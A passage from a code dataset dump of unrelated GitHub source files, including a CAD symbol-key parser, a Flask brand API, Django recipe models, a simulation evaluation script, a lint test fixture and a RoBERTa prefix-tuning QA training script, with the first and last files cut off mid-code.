skey_group].keys():\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if base_skey not in groups[ skey_group ][ skey_subgroup ]:\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n \n self.skeys[ base_skey ] = { \"group\":skey_group, \"subgroup\":skey_subgroup, \"description\": description, \"spindle_skey\": spindle_skey, \"scale_factor\": scale_factor, \"orientation\": orientation, \"flow_arrow\": flow_arrow, \"dimensioned\": dimensioned, \"geometry\": geometry }\n else:\n if skey_group not in groups.keys():\n groups[ skey_group ] = {}\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( new_skey ) \n else:\n if skey_subgroup not in groups[ skey_group].keys():\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( new_skey ) \n else:\n if new_skey not in groups[ skey_group ][ skey_subgroup ]:\n groups[ skey_group ][ skey_subgroup ].append( new_skey ) \n \n self.skeys[ new_skey ] = { \"group\":skey_group, \"subgroup\":skey_subgroup, \"description\": description, \"spindle_skey\": spindle_skey, \"scale_factor\": scale_factor, \"orientation\": orientation, \"flow_arrow\": flow_arrow, \"dimensioned\": dimensioned, \"geometry\": geometry }\n \n elif record_type == \"502\": \n if skip_line == True:\n continue\n \n pen_action_1 = row[5:14].strip()\n pos_x_1 = float( row[15:22].strip() ) \n pos_y_1 = float( row[23:30].strip() )\n \n pen_action_2 = row[31:38].strip()\n pos_x_2 = float( row[39:46].strip() )\n pos_y_2 = float( row[47:54].strip() )\n \n pen_action_3 = row[55:63].strip()\n pos_x_3 = float( row[64:70].strip() )\n pos_y_3 = float( row[71:78].strip() )\n \n pen_action_4 = row[79:86].strip()\n pos_x_4 = float( row[87:94].strip() )\n pos_y_4 = float( row[95:103].strip() )\n\n geometry.append( pen_action_1 )\n geometry.append( pos_x_1 )\n geometry.append( pos_y_1 )\n geometry.append( pen_action_2 )\n geometry.append( pos_x_2 )\n geometry.append( pos_y_2 )\n geometry.append( pen_action_3 )\n geometry.append( pos_x_3 )\n geometry.append( pos_y_3 )\n geometry.append( pen_action_4 )\n geometry.append( pos_x_4 )\n geometry.append( pos_y_4 )\n \n if line_index == len(contents) - 1:\n if new_skey != \"\": \n self.skeys[ new_skey ][\"geometry\"] = self.callConvertGraphics( new_skey, scale_factor, geometry )\n elif new_skey == \"\" and base_skey != \"\": \n self.skeys[ base_skey ][\"geometry\"] = self.callConvertGraphics( base_skey, scale_factor, geometry )\n geometry.clear()\n else:\n if new_skey != \"\" or base_skey != \"\":\n if new_skey != \"\" and self.skeys[ new_skey ][\"geometry\"] != []: \n self.skeys[ new_skey ][\"geometry\"] = self.callConvertGraphics( new_skey, scale_factor, geometry )\n \n elif new_skey == \"\" and base_skey != \"\" and self.skeys[ new_skey ][\"geometry\"] != []: \n self.skeys[ base_skey ][\"geometry\"] = self.callConvertGraphics( base_skey, scale_factor, geometry )\n\n geometry.clear()\n new_skey = \"\" \n base_skey = \"\"\n else:\n pass\n \n for key in sorted( groups ):\n self.groups[ key ] = groups[ key ]\n \n self.callLoadSkeyTree()\n \n# Singleton Instance.\naSkeyEditorDialog = SkeyEditorDialog(PipeCad)\n\ndef show():\n aSkeyEditorDialog.show()\n \n \n","repo_name":"eryar/PipeCAD","sub_path":"lib/omp/skey_library.py","file_name":"skey_library.py","file_ext":"py","file_size_in_byte":124694,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"21"} +{"seq_id":"8925455283","text":"def begin():\n print('\\nВас приветствует телефонный справочник!\\n')\n u_choice = input('Выберите:\\n1 - Добавить новый контакт\\n2 - Показать список контактов\\n3 - Выйти из справочника\\n')\n print()\n return u_choice \n\n\n \ndef add_contact():\n print(\"Введите данные нового контакта\")\n name = input('Введите имя: ')\n sorname = input('Введите фамилию: ')\n phone_number = input('Введите номер телефона: ')\n full_contact = (name, sorname, phone_number)\n print('Контакт добавлен!')\n return full_contact","repo_name":"EnrikHak/Python_Homework_7","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35026449955","text":"import jwt\nfrom flask import jsonify, request\n\nimport urls.basic_urls as bu\nfrom models import Brand, app, db\nfrom schema import BrandSchema\n\n\n@app.route(\"/brand\", methods=['POST'])\ndef create_brand():\n auth_token = request.args.get('access_token')\n try:\n keys = bu.decode_auth_token(auth_token)\n except jwt.ExpiredSignatureError:\n return jsonify({'message': 'Signature expired. Please log in again.'}), 401\n except jwt.InvalidTokenError:\n return jsonify({'message': 'Invalid token. Please log in again.'}), 401\n admin = keys[0]\n id = keys[1]\n\n if admin == 0:\n return jsonify({'response': \"This is not an admin\"}), 403\n\n data = request.get_json()\n if not data:\n return {\"response\": \"No input data provided\"}, 400\n\n try:\n result = BrandSchema().load(data)\n except Exception:\n return jsonify({'response': \"Invalid input\"}), 403\n\n brand = Brand(name=result[\"name\"])\n db.session.add(brand)\n db.session.commit()\n\n return jsonify({'response': \"Success\"}), 201\n\n\n@app.route(\"/brand\", methods=['GET'])\ndef get_brands():\n brands = db.session.query(Brand).order_by(Brand.brandId).all()\n brand_schema = BrandSchema(many=True)\n dump_data = brand_schema.dump(brands)\n\n return jsonify({'response': dump_data}), 200\n\n\n@app.route(\"/brand/\", methods=['DELETE'])\ndef delete_brand(id):\n auth_token = request.args.get('access_token')\n try:\n keys = bu.decode_auth_token(auth_token)\n except jwt.ExpiredSignatureError:\n return jsonify({'message': 'Signature expired. Please log in again.'}), 401\n except jwt.InvalidTokenError:\n return jsonify({'message': 'Invalid token. Please log in again.'}), 401\n admin = keys[0]\n\n if admin == 0:\n return jsonify({'response': \"This is not an admin\"}), 403\n\n if db.session.query(Brand.brandId).filter_by(brandId=id).scalar() is None:\n return jsonify({'response': \"Invalid brand ID found\"}), 406\n\n db.session.query(Brand).filter(Brand.brandId == id).delete()\n db.session.commit()\n\n return jsonify({'response': \"Success\"}), 200\n","repo_name":"ViraMaximets/REST-API-Flask","sub_path":"urls/brand_urls.py","file_name":"brand_urls.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41827792336","text":"import re\n\ndef verificadorCorreo():\n patron_De_correos = re.compile(\"[A-Za-z0-9]+@[a-zA-Z]+\\.(com|net)$\")\n while True:\n print(\"1 para verificar, 2 para salir\")\n opcion = input()\n if opcion == \"1\":\n print(\"ingrese correo: \")\n entrada = input()\n if(re.search(patron_De_correos, entrada)):\n print(\"Correo Valido\")\n else:\n print(\"Correo Invalido\")\n else:\n break \n\nif __name__ == \"__main__\":\n verificadorCorreo()\n","repo_name":"NicoHurtado/Expression-Checker","sub_path":"checkerMail.py","file_name":"checkerMail.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4442737232","text":"\"\"\"\nFunctions to evaluate and compare simulation results/metrics against reference\ndistributions e.g. extracted from dataset. \n\"\"\"\n\nfrom typing import List, Union\nimport argparse\nimport pandas as pd\nimport plotly.graph_objects as go\nimport numpy as np\nimport os\n\n\ndef bulk_evaluate(\n ref_file,\n target_root,\n ref_mean_colnames,\n ref_std_colnames,\n target_colnames,\n time_colname=\"t\",\n) -> pd.DataFrame:\n refdf = pd.read_csv(ref_file)\n refdf.set_index(time_colname, inplace=True)\n columns = [\"target_folder\"] + [s + \"-dist\" for s in target_colnames]\n eval_results = []\n for target_folder in os.listdir(target_root):\n if target_folder.startswith(\".\"):\n print(\"- folder starts with ., skipping folder: \", target_folder)\n continue\n if \"metric.csv\" not in os.listdir(os.path.join(target_root, target_folder)):\n print(\"- no metric.csv, skipping folder: \", target_folder)\n continue\n row = {}\n row[\"target_folder\"] = target_folder\n targetdf = pd.read_csv(os.path.join(target_root, target_folder, \"metric.csv\"))\n targetdf.set_index(time_colname, inplace=True)\n dists = evaluate_simulation_against_reference(\n refdf,\n targetdf,\n ref_mean_colnames,\n ref_std_colnames,\n target_colnames,\n time_colname,\n )\n for colname, dist in zip(columns[1:], dists):\n row[colname] = dist\n # TODO: Sum of un-normalized dists not very good. Maybe not normalizing\n # for others makes sense, but not for sum.\n row[\"Sum-dist\"] = sum(dists)\n eval_results.append(row)\n\n return pd.DataFrame(eval_results, index=None)\n\n\ndef evaluate_simulation_against_reference(\n refdf: pd.DataFrame,\n targetdf: pd.DataFrame,\n ref_mean_colnames: Union[str, List[str]],\n ref_std_colnames: Union[str, List[str]],\n target_colnames: Union[str, List[str]],\n) -> List[float]:\n \"\"\"Computes distance measures of a time-series to distribution for a list of metrics.\n\n Args:\n refdf (pd.DataFrame): Reference DataFrame containing mean and std values of time-series distributions.\n targetdf (pd.DataFrame): Dataframe containing the simulation results.\n ref_mean_colname (Union[str, List[str]]): Column names of means of reference timeseries dist.\n ref_std_colname (Union[str, List[str]]): Column names of stds of reference timeseries dist.\n target_colname (Union[str, List[str]]): Column name of the target metric.\n\n Returns:\n List[float]: distance measures of each metric.\n \"\"\"\n\n def _to_list(x):\n return x if isinstance(x, list) else [x]\n\n ref_mean_colnames = _to_list(ref_mean_colnames)\n ref_std_colnames = _to_list(ref_std_colnames)\n target_colnames = _to_list(target_colnames)\n assert (\n len(ref_mean_colnames) == len(ref_std_colnames) == len(target_colnames)\n ), \"Length of the three colname lists must be the same.\"\n\n distances = []\n for ref_metric_mean, ref_metric_std, target_metric in zip(\n ref_mean_colnames, ref_std_colnames, target_colnames\n ):\n standard_refdf = refdf.loc[:, [ref_metric_mean, ref_metric_std]].rename(\n columns={ref_metric_mean: \"mean\", ref_metric_std: \"std\"}\n )\n standard_targetdf = targetdf.loc[:, [target_metric]].rename(\n columns={target_metric: \"value\"}\n )\n distances.append(\n timeseries_point2distribution_distance(standard_refdf, standard_targetdf)\n )\n return distances\n\n\ndef timeseries_point2distribution_distance(refdf, targetdf):\n \"\"\"computes distance measure of a time-series to distribution.\n\n Args:\n refdf (pd.DataFrame): Reference DataFrame with mean and std columns vs time index.\n targetdf (pd.DataFrame): Target values vs time index.\n\n Returns:\n float: distance measure.\n \"\"\"\n # First align the two data frames based on time_colname\n aligned_df = pd.merge_asof(refdf, targetdf, left_index=True, right_index=True)\n\n return aligned_timeseries_point2distribution_distance(\n aligned_df[\"mean\"],\n aligned_df[\"std\"],\n aligned_df[\"value\"],\n )\n\n\ndef aligned_timeseries_point2distribution_distance(ref_mean, ref_std, target) -> float:\n assert (\n len(ref_mean) == len(ref_std) == len(target)\n ), \"All inputs must be aligned and have the same length.\"\n return np.sum(np.abs(target - ref_mean) / ref_std)\n\n\ndef visualize_bulk_evaluation_results(eval_results: pd.DataFrame):\n df = replace_experiment_name_with_params(eval_results)\n\n fig = go.Figure(\n data=go.Parcoords(\n line=dict(color=df[\"Sum-dist\"], colorscale=\"Blackbody\", showscale=True),\n dimensions=[\n dict(values=df[c], label=c, tickvals=df[c].unique())\n for c in df.columns\n if \"-dist\" not in c\n ]\n + [dict(values=df[c], label=c) for c in df.columns if \"-dist\" in c],\n unselected=dict(line=dict(opacity=0)),\n ),\n )\n return fig\n\n\ndef replace_experiment_name_with_params(df, column_name=\"target_folder\"):\n return pd.concat(\n [\n pd.json_normalize(df[\"target_folder\"].apply(extract_parameters_from_name)),\n df.drop([\"target_folder\"], axis=1),\n ],\n axis=1,\n )\n\n\ndef extract_parameters_from_name(name):\n name = name.split(\"-\")\n params = {}\n for p in name:\n if \"=\" in p:\n k, v = p.split(\"=\")\n params[k] = v\n return params\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description=\"Bulk evaluation of simulation results.\"\n )\n parser.add_argument(\"--reference\", type=str, help=\"path to reference csv file\")\n parser.add_argument(\n \"--root\",\n type=str,\n help=\"path to simulation results where metric.csv can be found.\",\n )\n parser.add_argument(\n \"--tcol\", nargs=\"+\", type=str, help=\"column names of target metrics.\"\n )\n parser.add_argument(\n \"--rmeancol\",\n nargs=\"+\",\n type=str,\n help=\"column names of reference metric means.\",\n )\n parser.add_argument(\n \"--rstdcol\",\n nargs=\"+\",\n type=str,\n help=\"column names of reference metric stds.\",\n )\n parser.add_argument(\"--timecol\", type=str, help=\"column name of time.\", default=\"t\")\n parser.add_argument(\"--output\", type=str, help=\"output save file.\")\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n eval_results = bulk_evaluate(\n args.reference, args.root, args.rmeancol, args.rstdcol, args.tcol\n )\n os.makedirs(os.path.dirname(args.output), exist_ok=True)\n eval_results.to_csv(args.output)\n print(\"-- Evaluation results saved to: \", args.output)\n for colname in eval_results.columns:\n if \"-dist\" in colname:\n print(f\"-- Top experiments based on: {colname}\")\n print(colname, eval_results[colname].describe())\n print(eval_results.sort_values(colname, ascending=True).head())\n\n fig = visualize_bulk_evaluation_results(eval_results)\n\n from plotly.offline import plot\n\n plot(\n fig,\n filename=os.path.join(\n os.path.dirname(args.output), \"bulk_eval_parallel_coordinate_plotly.html\"\n ),\n )\n","repo_name":"ashkan-mokarian/infectio-mesa","sub_path":"infectio/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":7374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25114717423","text":"from django.db import models\n\nfrom users.models import User\n\nfrom .validators import (color_hex_validator, min_amount_validator,\n min_cooking_time_validator)\n\n\nclass Tag(models.Model):\n name = models.CharField(\n verbose_name='Название',\n max_length=200,\n unique=True,\n blank=False,\n )\n slug = models.SlugField(\n verbose_name='Слаг',\n max_length=200,\n unique=True,\n blank=False,\n )\n color = models.CharField(\n verbose_name='Цвет',\n max_length=7,\n validators=[color_hex_validator],\n unique=True,\n blank=False,\n )\n\n class Meta:\n verbose_name = 'Тег'\n verbose_name_plural = 'Теги'\n ordering = ['slug']\n\n def __str__(self):\n return f'{self.slug} [{self.name}]'\n\n\nclass MeasurementUnit(models.Model):\n name = models.CharField(\n verbose_name='Единица измерения',\n max_length=200,\n unique=True,\n blank=False,\n )\n\n class Meta:\n verbose_name = 'Единица измерения'\n verbose_name_plural = 'Единицы измерения'\n ordering = ['name']\n\n def __str__(self):\n return f'{self.name}'\n\n\nclass Ingredient(models.Model):\n name = models.CharField(\n verbose_name='Название ингредиента',\n max_length=200,\n blank=False,\n )\n measurement_unit = models.ForeignKey(\n MeasurementUnit,\n verbose_name='Единица измерения',\n related_name='ingredients',\n on_delete=models.CASCADE,\n blank=False,\n )\n\n class Meta:\n verbose_name = 'Ингредиент'\n verbose_name_plural = 'Ингредиенты'\n ordering = ['name']\n constraints = [\n models.UniqueConstraint(\n fields=['name', 'measurement_unit'],\n name='unique_ingredient'\n ),\n ]\n\n def __str__(self):\n return f'{self.name} [{self.measurement_unit}]'\n\n\nclass Recipe(models.Model):\n name = models.CharField(\n verbose_name='Название',\n max_length=200,\n blank=False,\n )\n text = models.TextField(\n verbose_name='Описание',\n blank=False,\n )\n cooking_time = models.PositiveIntegerField(\n verbose_name='Время приготовления (мин.)',\n validators=[min_cooking_time_validator],\n blank=False,\n )\n image = models.ImageField(\n verbose_name='Картинка',\n upload_to='recipes/',\n blank=False,\n )\n author = models.ForeignKey(\n User,\n verbose_name='Автор',\n related_name='recipes',\n on_delete=models.CASCADE,\n blank=False,\n )\n tags = models.ManyToManyField(\n Tag,\n verbose_name='Теги',\n related_name='recipes',\n blank=False\n )\n ingredients = models.ManyToManyField(\n Ingredient,\n through='IngredientRecipe',\n verbose_name='Ингредиенты',\n related_name='recipes',\n blank=False,\n )\n pub_date = models.DateTimeField(\n verbose_name='Дата публикации',\n auto_now_add=True,\n db_index=True,\n )\n\n class Meta:\n verbose_name = 'Рецепт'\n verbose_name_plural = 'Рецепты'\n ordering = ['-pub_date']\n\n def __str__(self):\n return f'Рецепт \"{self.name}\"'\n\n\nclass ShoppingCart(models.Model):\n user = models.ForeignKey(\n User,\n verbose_name='Пользователь',\n related_name='shopping_cart',\n on_delete=models.CASCADE,\n blank=False,\n )\n recipe = models.ForeignKey(\n Recipe,\n verbose_name='Рецепт',\n related_name='shopping_cart',\n on_delete=models.CASCADE,\n blank=False,\n )\n\n class Meta:\n verbose_name = 'Корзина покупок'\n verbose_name_plural = 'Корзины покупок'\n ordering = ['user']\n constraints = [\n models.UniqueConstraint(\n fields=['user', 'recipe'],\n name='unique_shopping_cart'\n ),\n ]\n\n def __str__(self):\n return f'{self.user} shopping cart: {self.recipe}'\n\n\nclass Favorite(models.Model):\n user = models.ForeignKey(\n User,\n verbose_name='Пользователь',\n related_name='favorite',\n on_delete=models.CASCADE,\n blank=False,\n )\n recipe = models.ForeignKey(\n Recipe,\n verbose_name='Рецепт',\n related_name='favorite',\n on_delete=models.CASCADE,\n blank=False,\n )\n\n class Meta:\n verbose_name = 'Избранное'\n verbose_name_plural = 'Избранное'\n ordering = ['user']\n constraints = [\n models.UniqueConstraint(\n fields=['user', 'recipe'],\n name='unique_favorite'\n ),\n ]\n\n def __str__(self):\n return f'{self.user} favorite: {self.recipe}'\n\n\nclass IngredientRecipe(models.Model):\n ingredient = models.ForeignKey(\n Ingredient,\n verbose_name='Ингредиент',\n related_name='ingredient_recipe',\n on_delete=models.CASCADE,\n blank=False,\n )\n recipe = models.ForeignKey(\n Recipe,\n verbose_name='Рецепт',\n related_name='ingredient_recipe',\n on_delete=models.CASCADE,\n null=True,\n )\n amount = models.PositiveIntegerField(\n verbose_name='Количество',\n validators=[min_amount_validator],\n blank=False,\n )\n\n class Meta:\n verbose_name = 'Ингредиент с количеством'\n verbose_name_plural = 'Ингредиенты с количеством'\n ordering = ['ingredient']\n constraints = [\n models.UniqueConstraint(\n fields=['ingredient', 'recipe'],\n name='unique_ingredient_recipe'\n ),\n ]\n\n def __str__(self):\n return (f'{self.ingredient.name} - {self.amount} '\n f'{self.ingredient.measurement_unit.name}')\n","repo_name":"grmzk/foodgram-project-react","sub_path":"backend/recipes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41726040220","text":"class Foo(BaseModel):\n name = StringField()\n # ....\n name = StringField() # PIE794\n\n def remove(self) -> None:\n ...\n\n\nclass Foo(BaseModel):\n name: str = StringField()\n # ....\n name = StringField() # PIE794\n\n def foo(self) -> None:\n ...\n\n\nclass User(BaseModel):\n bar: str = StringField()\n foo: bool = BooleanField()\n # ...\n bar = StringField() # PIE794\n\n\nclass User(BaseModel):\n @property\n def buzz(self) -> str:\n ...\n\n @buzz.setter\n def buzz(self, value: str | int) -> None:\n ...\n\n\nclass User:\n bar: str = StringField()\n foo: bool = BooleanField()\n # ...\n bar = StringField() # PIE794\n","repo_name":"astral-sh/ruff","sub_path":"crates/ruff/resources/test/fixtures/flake8_pie/PIE794.py","file_name":"PIE794.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":20375,"dataset":"github-code","pt":"21"} +{"seq_id":"36410021950","text":"import util\nimport bs4\nimport requests\n\n\nstarting_url = \"http://collegecatalog.uchicago.edu/thecollege/programsofstudy/\"\nlimiting_domain = \"http://collegecatalog.uchicago.edu\"\n\n#Checks if a given course tag in a list of course tags is the opener tag for a sequence, returns True or False\ndef is_sequence_opener(ls, i):\n tag = ls[i]\n next_tag = ls[i+1]\n #check if next item in tag list is a subsequence\n if util.is_subsequence(next_tag):\n #check if the original tag is a courseblock main\n if tag['class'] == ['courseblock', 'main']:\n return True\n return False\n \n#Returns course code as a string\ndef course_code(tag):\n title_tag = tag.find('p', class_='courseblocktitle')\n title_text = title_tag.text\n title_text = title_text.replace(' ', ' ')\n title_text = title_text.replace(' ', ' ')\n title_text = title_text.replace(u'\\xa0', u' ')\n title_ls = title_text.split('.')\n code = title_ls[0]\n code = code.split()\n code = (code[0], code[1])\n return code\n\n#Goes through url HTML and returns list of course tags\ndef pull_courses(url):\n #first, get html for page\n req = util.get_request(url)\n if req is None:\n return []\n text = util.read_request(req)\n if text is None:\n raise ValueError('URL could not be converted to HTML file')\n #second, find all course tags on page\n soup = bs4.BeautifulSoup(text, \"html5lib\")\n courses = soup.find_all('div', class_= [\"courseblock main\", \"courseblock subsequence\"])\n return courses\n\n#Goes through list of course tags and returns list of course codes\ndef course_info(course_list):\n codes = []\n for i in range(len(course_list)):\n course = course_list[i]\n #check if course tag is void and skip to avoid crashing\n if course is None:\n continue\n #check if course_list item is a sequence opener and skip loop if it is\n if i != len(course_list) - 1:\n if is_sequence_opener(course_list, i):\n continue\n #if not an opener it is a normal course so just append course code and description to course_content\n codes.append(course_code(course))\n return codes\n \n#____________\n \n#takes in starting url and finds all the urls on that page, returns them in a list\ndef get_urls(current_url):\n url_list = []\n url = current_url\n #first, get the html text for linked page\n req = util.get_request(url)\n #check to see if it is invalid, if so raise an error for investigation\n if req is None:\n raise ValueError('URL request failed')\n text = util.read_request(req)\n #similarly to above, check for error and raise for investigation\n if text is None:\n raise ValueError('URL could not be converted to HTML file')\n #second, find all link tags and put their href url text into a list\n soup = bs4.BeautifulSoup(text, \"html5lib\")\n for a in soup.find_all('a', href=True):\n url_list.append(a['href'])\n return url_list\n\n\n#Takes in list of urls on a page and returns valid urls to go to, call with starting url as current\ndef destinations(current_url, url_list, limiting_domain):\n paths = [current_url]\n for url in url_list:\n url = util.remove_fragment(url)\n #if url is absolute check if it is ok to follow\n if util.is_absolute_url(url):\n if url != current_url:\n if util.is_url_ok_to_follow(url, limiting_domain):\n paths.append(url)\n #check if non-absolute is relative, if so convert and check if it is ok to follow\n elif not util.is_absolute_url(url):\n url = util.convert_if_relative_url(current_url, url)\n if url is not None:\n if url != current_url:\n if util.is_url_ok_to_follow(url, limiting_domain):\n paths.append(url)\n return paths\n \n#_____________\n \ndef get_codes(starting_url, limiting_domain):\n #Gets list of urls on page\n url_list = get_urls(starting_url)\n #Creates list of valid urls including the starting url\n pages = destinations(starting_url, url_list, limiting_domain)\n all_codes = []\n for p in pages:\n #Get list of course tags from the page\n course_tags = pull_courses(p)\n #Get list of class codes from course tags\n codes = course_info(course_tags)\n #Add course codes to complete list\n all_codes += codes\n\n return all_codes\n \n","repo_name":"Douglasmsw/Course_Evaluation_Search_Tool","sub_path":"codes_crawler_sanitized.py","file_name":"codes_crawler_sanitized.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15813617233","text":"# -*- coding: utf-8 -*-\nchunk_match = True\n\nfrom model.prefix_encoder import PrefixEncoder\n\nimport argparse\nimport torch\nimport torch.nn as nn\nfrom torch.nn import CrossEntropyLoss\nfrom transformers import RobertaPreTrainedModel, RobertaModel\nfrom transformers.modeling_outputs import QuestionAnsweringModelOutput\nfrom transformers import (\n AutoConfig,\n AutoTokenizer,\n DataCollatorWithPadding,\n EvalPrediction,\n)\n\nimport json\n\nimport numpy as np\n\nimport os\n\ndevice = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--data_dir', type=str, default='train_dataset.pkl', required=True,\n help=\"path to train dataset\")\n\nparser.add_argument('--test_data_dir', type=str, default='shared_task-test_set-final', required=True,\n help=\"path to test dataset\")\n\nparser.add_argument('--train_batch_size', type=int, default=8,\n help=\"batch size during training\")\n\nparser.add_argument('--learning_rate', type=float, default=4e-06,\n help=\"learning rate for the RoBERTa encoder\")\n\nparser.add_argument('--num_epoch', type=int, default=8,\n help=\"number of the training epochs\")\n\nparser.add_argument('--model', type=str, default='deepset/roberta-large-squad2',\n help=\"the base model name (a huggingface model)\")\n\nparser.add_argument('--seed', type=int, default=902, help=\"the random seed\")\n\nparser.add_argument('--pre_seq_len', type=int, default=60, help=\"the length of prefix tokens\")\n\nparser.add_argument('--prefix_hidden_size', type=int, default=1024, help=\"the hidden size of prefix tokens\")\n\nparser.add_argument('--output_dir', type=str, default='system_predictions/', help=\"output directory to store predictions\")\n\nargs = parser.parse_args()\n\nos.mkdir(args.output_dir)\n\n# model class\n\nclass RobertaPrefixModelForQuestionAnswering(RobertaPreTrainedModel):\n def __init__(self, config):\n super().__init__(config)\n self.num_labels = config.num_labels\n\n self.pre_seq_len = config.pre_seq_len\n self.n_layer = config.num_hidden_layers\n self.n_head = config.num_attention_heads\n self.n_embd = config.hidden_size // config.num_attention_heads\n\n self.subtasks = config.subtasks\n self.subtask = config.subtask\n\n self.roberta = RobertaModel(config, add_pooling_layer=False)\n # self.qa_outputs = {subtask: torch.nn.Linear(config.hidden_size, config.num_labels) for subtask in self.subtasks}\n self.qa_outputs = torch.nn.Linear(config.hidden_size, config.num_labels)\n\n self.init_weights()\n self.dropout = torch.nn.Dropout(config.hidden_dropout_prob)\n\n # self.prefix_encoder = PrefixEncoder(config)\n self.prefix_encoders = {subtask: PrefixEncoder(config) for subtask in self.subtasks}\n self.prefix_tokens = torch.arange(self.pre_seq_len).long()\n\n # for param in self.roberta.parameters():\n # param.requires_grad = False\n\n def get_prompt(self, batch_size, subtask):\n prefix_tokens = self.prefix_tokens.unsqueeze(0).expand(batch_size, -1).to(self.roberta.device)\n past_key_values = self.prefix_encoders[subtask](prefix_tokens)\n bsz, seqlen, _ = past_key_values.shape\n past_key_values = past_key_values.view(\n bsz,\n seqlen,\n self.n_layer * 2,\n self.n_head,\n self.n_embd\n )\n past_key_values = self.dropout(past_key_values)\n past_key_values = past_key_values.permute([2, 0, 3, 1, 4]).split(2)\n return past_key_values\n\n def forward(\n self,\n input_ids=None,\n attention_mask=None,\n token_type_ids=None,\n position_ids=None,\n head_mask=None,\n inputs_embeds=None,\n start_positions=None,\n end_positions=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n ):\n r\"\"\"\n start_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):\n Labels for position (index) of the start of the labelled span for computing the token classification loss.\n Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the\n sequence are not taken into account for computing the loss.\n end_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):\n Labels for position (index) of the end of the labelled span for computing the token classification loss.\n Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the\n sequence are not taken into account for computing the loss.\n \"\"\"\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n batch_size = input_ids.shape[0]\n past_key_values = self.get_prompt(batch_size=batch_size, subtask=self.subtask)\n prefix_attention_mask = torch.ones(batch_size, self.pre_seq_len).to(self.roberta.device)\n attention_mask = torch.cat((prefix_attention_mask, attention_mask), dim=1)\n\n outputs = self.roberta(\n input_ids,\n attention_mask=attention_mask,\n token_type_ids=token_type_ids,\n position_ids=position_ids,\n head_mask=head_mask,\n inputs_embeds=inputs_embeds,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n past_key_values=past_key_values,\n )\n\n sequence_output = outputs[0]\n\n logits = self.qa_outputs(sequence_output)\n # logits = self.qa_outputs[self.subtask](sequence_output)\n start_logits, end_logits = logits.split(1, dim=-1)\n start_logits = start_logits.squeeze(-1).contiguous()\n end_logits = end_logits.squeeze(-1).contiguous()\n\n total_loss = None\n if start_positions is not None and end_positions is not None:\n # If we are on multi-GPU, split add a dimension\n if len(start_positions.size()) > 1:\n start_positions = start_positions.squeeze(-1)\n if len(end_positions.size()) > 1:\n end_positions = end_positions.squeeze(-1)\n # sometimes the start/end positions are outside our model inputs, we ignore these terms\n ignored_index = start_logits.size(1)\n start_positions = start_positions.clamp(0, ignored_index)\n end_positions = end_positions.clamp(0, ignored_index)\n\n loss_fct = CrossEntropyLoss(ignore_index=ignored_index)\n start_loss = loss_fct(start_logits, start_positions)\n end_loss = loss_fct(end_logits, end_positions)\n total_loss = (start_loss + end_loss) / 2\n\n if not return_dict:\n output = (start_logits, end_logits) + outputs[2:]\n return ((total_loss,) + output) if total_loss is not None else output\n\n return QuestionAnsweringModelOutput(\n loss=total_loss,\n start_logits=start_logits,\n end_logits=end_logits,\n hidden_states=outputs.hidden_states,\n attentions=outputs.attentions,\n )\n\n\ncheckpoint = args.model\n\nprint('checkpoint: ', checkpoint)\n\n\ntokenizer = AutoTokenizer.from_pretrained(\n checkpoint,\n use_fast=True\n)\n\nconfig = AutoConfig.from_pretrained(\n checkpoint,\n num_labels=2\n)\n\ndef prepare_train_features(examples):\n # Some of the questions have lots of whitespace on the left, which is not useful and will make the\n # truncation of the context fail (the tokenized question will take a lots of space). So we remove that\n # left whitespace\n examples[question_column_name] = [q.lstrip() for q in examples[question_column_name]]\n\n # Tokenize our examples with truncation and maybe padding, but keep the overflows using a stride. This results\n # in one example possible giving several features when a context is long, each of those features having a\n # context that overlaps a bit the context of the previous feature.\n tokenized_examples = tokenizer(\n examples[question_column_name if pad_on_right else context_column_name],\n examples[context_column_name if pad_on_right else question_column_name],\n truncation=\"only_second\" if pad_on_right else \"only_first\",\n max_length=max_seq_length,\n stride=128,\n return_overflowing_tokens=True,\n return_offsets_mapping=True,\n padding=\"max_length\"\n )\n\n # Since one example might give us several features if it has a long context, we need a map from a feature to\n # its corresponding example. This key gives us just that.\n sample_mapping = tokenized_examples.pop(\"overflow_to_sample_mapping\")\n # The offset mappings will give us a map from token to character position in the original context. This will\n # help us compute the start_positions and end_positions.\n offset_mapping = tokenized_examples.pop(\"offset_mapping\")\n\n # Let's label those examples!\n tokenized_examples[\"start_positions\"] = []\n tokenized_examples[\"end_positions\"] = []\n tokenized_examples['id'] = examples['id']\n\n for i, offsets in 